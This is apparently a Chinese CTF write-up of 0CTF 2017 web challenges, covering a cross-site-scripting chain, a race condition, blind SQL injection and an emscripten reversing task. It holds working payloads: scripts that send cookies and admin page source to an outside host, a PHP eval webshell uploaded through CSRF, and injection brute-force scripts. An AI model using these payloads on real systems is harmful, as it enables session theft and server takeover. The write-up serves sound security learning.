前言 周末没来得及好好做做0ctf,现在整理学习一下~~
complicated xss 题目介绍 有两个网站,government.vip
和admin.government.vip:8000
。 漏洞也有两个:
government.vip
xss 没防护
admin.government.vip:8000
网站cookie中的username可以xss。有个sandbox防护~
最终需要有admin权限上传shell~
设置子域cookie 根据上面两个漏洞,可以得到大致思路:通过government.vip
网站,设置admin.government.vip:8000
中的username
cookie(里面是我们构造好的Payload)。然后,让管理员转到admin.government.vip:8000
触发XSS获取信息。 初步Payload为:
1 2 3 <script > xss = "<script src =//******/xss/test.js > <\ /script > "; </script > <script > document .cookie="username=" +xss+"testxss;domain=.government.vip;path=\/;" </script > <script > location.href='http://admin.government.vip:8000/' ; </script >
test.js
中尝试获取cookie:
1 location.href ='http://121.42.175.111:8080/xss/xss_new.php?cookie=' +escape(document.cookie)
成功获取数据,证明思路正确:
1 [Tue Mar 21 20 :13 :35 2017 ] 202.120 .7 .205 :47632 [200 ]: /xss/xss_new.php?cookie=username%3 Dadmin%3 B%20 username%3 D%3 Cscript%20 src%3 D
由于管理员的sessionid
设置为了HttpOnly
,因此需要CSRF帮助~
绕过sandbox执行ajax admin.government.vip:8000
使用delete
删除了一些函数,其中就有ajax~
1 2 3 4 5 6 7 8 9 10 <script > delete window .Function;delete window .eval;delete window .alert;delete window .XMLHttpRequest;delete window .Proxy;delete window .Image;delete window .postMessage;</script >
学习到了新的知识,用如下方式即可绕过:
1 2 <iframe id ="sandbox" > </iframe > window .XMLHttpRequest = document .getElementById('sandbox' ).contentWindow.XMLHttpRequest;
于是构造ajax,来读读admin的页面源码~ 再次构造payload发送:
1 2 3 <script > xss = "<iframe id =\ "sandbox \"> </iframe > <script src =//121.42.175.111:8080/xss/test.js > <\ /script > "; </script > <script > document .cookie="username=" +xss+"testxss;domain=.government.vip;path=\/;" </script > <script > location.href='http://admin.government.vip:8000/' ; </script >
test.js
内容为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 window .XMLHttpRequest = document .getElementById('sandbox' ).contentWindow.XMLHttpRequest;var xhr = new XMLHttpRequest();xhr.onreadystatechange=function ( ) { if (xhr.readyState==4 ){ if (xhr.status==200 ){ data = xhr.responseText; imgsrc=document .createElement("img" ); imgsrc.src = "http://121.42.175.111:8080/xss/xss_new.php?cookie=" + escape (data); } } }; xhr.open("get" ,"/" ); xhr.send();
成功获取管理员页面代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <!doctype html> <head > <title > Admin Panel</title > <script > delete window .Function;delete window .eval;delete window .alert;delete window .XMLHttpRequest;delete window .Proxy;delete window .Image;delete window .postMessage;</script > </head > <h1 > Hello <iframe id ="sandbox" > </iframe > <script src =//121.42.175.111:8080/xss/test.js > </script > testxss</h1 > <p > Upload your shell</p > <form action ="/upload" method ="post" enctype ="multipart/form-data" > <p > <input type ="file" name ="file" > </input > </p > <p > <input type ="submit" value ="upload" > </form >
CSRF上传shell 使用FormData配合ajax上传,本地测试好后,得到test.js
的Payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 window .XMLHttpRequest = document .getElementById('sandbox' ).contentWindow.XMLHttpRequest;var xhr = new XMLHttpRequest();xhr.onreadystatechange=function ( ) { if (xhr.readyState==4 ){ res_status = "status: " + xhr.status + "\n" ; data = xhr.responseText; imgsrc=document .createElement("img" ); imgsrc.src = "http://121.42.175.111:8080/xss/xss_new.php?cookie=" + escape (res_status) + escape (data); } }; var formData = new FormData();var content = '<?php @eval($_POST[c][/c]);?>' ;var blob = new Blob([content], { type : "text/plain" });formData.append("file" , blob,'angelwhutestshell.php' ); xhr.open("POST" , "/upload" ); xhr.send(formData);
配合第一步的Payload:
1 2 3 <script > xss = "<iframe id =\ "sandbox \"> </iframe > <script src =//******/xss/test.js > <\ /script > "; </script > <script > document .cookie="username=" +xss+"testxss;domain=.government.vip;path=\/;" </script > <script > location.href='http://admin.government.vip:8000/' ; </script >
成功获取flag:
小结 学习到两个关键点:
JavaScript 跨域设置Cookie ~~
iframe 绕过 delete
函数 ~~
0x02 Temmo’s Tiny Shop 条件竞争买HINT 用不同的浏览器,用相同账户登录一下,获得几个不同已经登录了的session~ 然后使用一个线程不停买,一个不停卖来赚钱~ 脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 __author__ = 'angelwhu' # -*- coding:utf-8 -*- import requests import threading from random import Random import string url = "http://202.120.7.197/app.php?action=login" def buy(cookies): headers = {"Accept-Encoding" : "gzip, deflate" , "Accept-Language" : "en-US,en;q=0.5" , "User-Agent" : "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" , "Cookie" : "PHPSESSID=" +cookies, "Connection" : "keep-alive" } r = requests.post("http://202.120.7.197/app.php?action=buy&id=2" , headers=headers) print r.content def sale(cookies): headers = {"Accept-Encoding" : "gzip, deflate" , "Accept-Language" : "en-US,en;q=0.5" , "User-Agent" : "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" , "Cookie" : "PHPSESSID=" +cookies, "Connection" : "keep-alive" } r = requests.get("http://202.120.7.197/app.php?action=sale&id=2" , headers=headers) print r.content cookies_1 = "8o3lto4qdn4e0aasa2aog7gbg3" cookies_2 = "le5af9o1qspgop8bp49v80sqs5" cookies_3 = "vq828j22a80ahnclbfg33duuc2" for i in range(0 ,300 ): threading.Thread(target =buy ,args = (cookies_1 ,) ).start() threading.Thread(target =sale ,args = (cookies_2 ,) ).start() threading.Thread(target =buy ,args = (cookies_1 ,) ).start() threading.Thread(target =sale ,args = (cookies_3 ,) ).start() threading.Thread(target =buy ,args = (cookies_2 ,) ).start() threading.Thread(target =sale ,args = (cookies_1 ,) ).start()
Order by 盲注 使用like匹配:
还可以regexp
正则匹配~ 找到个好说明:http://blog.csdn.net/my2010sam/article/details/19109235 最后,Payload还有长度限制~ 而且字符中还有下划线_
这个通配符 还是使用ascii的整数值来匹配~ 看着思路,都调了半天:
1 if(ascii (substr ((select (flag )from(ce63e444b0d049e9c899c9a0336b3c59 )),1 ,1 ))like(69 ),name,price)
脚本为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 __author__ = 'angelwhu' import binasciiimport requestsimport syssession = requests.Session() def test (input) : url = "http://202.120.7.197/app.php?action=search&keyword=&order=if(" + input + ",name,price)" print url headers = {"Accept-Encoding" : "gzip, deflate" , "Accept-Language" : "en-US,en;q=0.5" , "User-Agent" : "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0" , "cookie" :"PHPSESSID=0k3dt4k70kkabuha8s50hsnb83" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" , "Connection" : "keep-alive" } response = session.get(url, headers=headers) return ("\"id\":\"3\"" in response.text[:35 ]) def brute_force_expr (expr) : ch_i=1 ascii_i=40 word = "" while True : found_char=False while (ascii_i<=126 ): payload = "ascii(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59))," +str(ch_i)+",1))like(" +str(ascii_i)+")" res = test(payload) if (res): word += chr(ascii_i) print "Found (" ,ch_i,") " ,chr(ascii_i)," - " ,word found_char = True break ascii_i+=1 if (not found_char): print "No char at index " ,ch_i," .. ending string construction.." break ascii_i = 40 ch_i+=1 return word print brute_force_expr(sys.argv[1 ])
KoG 这个题目的js文件太长了~ 搜索下注释,得到一个emscripten
的工具。 它能够把C/C++
编译生成的llvm二进制代码,转化为javascript执行~ 所以js代码中有很多malloc
,strlen
这些C语言相似的函数名~ 只能慢慢调试了,发现HEAPU8里面存储着我们的输入数据和程序输出数据。 观察HEAPU8[5251100]变化,定位到functionn.js
8073行和8075行,两个函数:
1 2 __ZN10 emscripten8 internal11 BindingTypeINSt3 __112 basic_stringIcNS2 _11 char_traitsIcEENS2 _9 allocatorIcEEEEE12 fromWireTypeEPNS9 _Ut_E $2 = |0 );
找到一个判断函数,定位到functionn.js
16758行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 if ($1 ) { $2 = $__sz << 1 ; $3 = $2 &255 ; HEAP8[$this >>0 ] = $3 ; $4 = ((($this )) + 1 |0 ); $__p$0 = $4 ; } else { $5 = (($__sz) + 16 )|0 ; $6 = $5 & -16 ; $7 = (__Znwj($6 )|0 ); $8 = ((($this )) + 8 |0 ); HEAP32[$8 >>2 ] = $7 ; $9 = $6 | 1 ; HEAP32[$this >>2 ] = $9 ; $10 = ((($this )) + 4 |0 ); HEAP32[$10 >>2 ] = $__sz; $__p$0 = $7 ; }
输入Payload后,强行把$1
改为false
~ 调试发现没有用~~ 于是又找到个if判断,在7634行:
1 2 3 4 5 6 7 if (!($13 )) { ;HEAP32[$agg$result>>2 ]=HEAP32[$s>>2 ]|0 ;HEAP32[$agg$result+4 >>2 ]=HEAP32[$s+4 >>2 ]|0 ;HEAP32[$agg$result+8 >>2 ]=HEAP32[$s+8 >>2 ]|0 ; ;HEAP32[$s>>2 ]=0 |0 ;HEAP32[$s+4 >>2 ]=0 |0 ;HEAP32[$s+8 >>2 ]=0 |0 ; __ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEED2Ev($te); __ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEED2Ev($s); STACKTOP = sp;return ; }
将$13
强行改为true
,也不行,还要找~~ 在7699行,还有个:
1 2 3 4 5 6 7 if ((label|0 ) == 12 ) { ;HEAP32[$agg$result>>2 ]=HEAP32[$s>>2 ]|0 ;HEAP32[$agg$result+4 >>2 ]=HEAP32[$s+4 >>2 ]|0 ;HEAP32[$agg$result+8 >>2 ]=HEAP32[$s+8 >>2 ]|0 ; ;HEAP32[$s>>2 ]=0 |0 ;HEAP32[$s+4 >>2 ]=0 |0 ;HEAP32[$s+8 >>2 ]=0 |0 ; __ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEED2Ev($te); __ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEED2Ev($s); STACKTOP = sp;return ; }
强行把lable
改为0,接着跑下去,成功了~ 于是乎,注释掉最后两个判读语句的代码(7634行和7699行)~下载到本地跑一跑,输出hash和time,进行注入攻击。
1 2 3 api.php?id=-1 %20 union%20 all%20 select%201 ,database()&hash=4 b171a4ea10db2f48b05e6563e9f8dd5&time=1490253180 api.php?id=-1 %20 union%20 all%20 select%201 ,table_name%20f rom%20 information_schema.tables%20 where%20 table_schema=%270 ctf%27 %20 limit%201 &hash=afbd29aa8799f11e26eeeb81ae21da2f&time=1490254242 api.php?id=-1 %20 union%20 all%20 select%201 ,column_name%20f rom%20 information_schema.columns%20 where%20 table_schema=%270 ctf%27 %20 and %20 table_name=%27f l4g%27 %20 limit%201 &hash=5 a931ce83b3d7b13b6f5a9cec4a71365&time=1490254364
总结 学到了很多关于前端的知识,JavaScript和XSS相关的知识确实很有意思。